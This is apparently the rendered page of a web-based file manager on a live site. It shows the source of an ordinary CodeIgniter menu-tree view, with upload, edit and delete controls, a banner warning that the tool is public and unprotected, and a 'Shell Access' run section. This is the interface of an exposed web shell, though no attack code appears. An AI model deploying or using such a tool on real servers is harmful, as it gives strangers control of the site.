⚠️ **YÜKSEK GÜVENLİK RİSKİ:** Bu dosya herkese açık ve şifresizdir. Lütfen sadece **yerel ortamınızda** kullanın ve işiniz bittiğinde **silin**.
Aktif Dizin:
/home/dltain/public_html/app/Views/admin/menus
Dosya Düzenle: _menu_tree.php
<?php $level = $level ?? 0; ?> <?php foreach ($menus as $menu): ?> <tr> <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500"><?= esc($menu['id']) ?></td> <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-900"> <?php if ($level > 0): ?> <span class="mr-2" style="padding-left: <?= $level * 20 ?>px;">└─</span> <?php endif; ?> <?= esc($menu['name']) ?> </td> <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500"><?= esc($menu['prefix']) ?></td> <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500"><?= esc($menu['slug']) ?></td> <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500"><?= esc($menu['parent_id']) ?></td> <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500"> <img src="<?= base_url('uploads/menu/' . $menu['img']) ?>" alt="Menu Image" style="max-width: 100px; max-height: 100px;"> </td> <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500"><?= $menu['top_bar'] ? 'Yes' : 'No' ?></td> <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500"><?= $menu['footer_menu'] ? 'Yes' : 'No' ?></td> <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500"><?= $menu['status'] ? 'Active' : 'Inactive' ?></td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium"> <a href="<?=base_url()?>admin/menu/edit/<?= esc($menu['id']) ?>" class="btn btn-primary">Edit</a> <form action="<?=base_url()?>admin/menu/delete/<?= esc($menu['id']) ?>" method="post" class="inline-block" onsubmit="return confirm('Are you sure you want to delete this menu item?');"> <?= csrf_field() ?> <input type="hidden" name="_method" value="DELETE"> <button type="submit" class="btn btn-primary">Delete</button> </form> </td> </tr> <?php if (isset($menu['children'])): ?> <?= view('admin/menus/_menu_tree', ['menus' => $menu['children'], 'level' => $level + 1]) ?> <?php endif; ?> <?php endforeach; ?>
Değişiklikleri Kaydet
Yeni Dosya Yükle (Mevcut Dizine)
Yükle
Adı
Tipi
Boyut
İşlemler
📁
.. (Üst Dizin)
📄 _menu_tree.php
Dosya
2.1 KB
Düzenle
Sil
📄 form.php
Dosya
5.55 KB
Düzenle
Sil
📄 list.php
Dosya
3.29 KB
Düzenle
Sil
Sorun Giderme (Shell Erişimi)
Çalıştır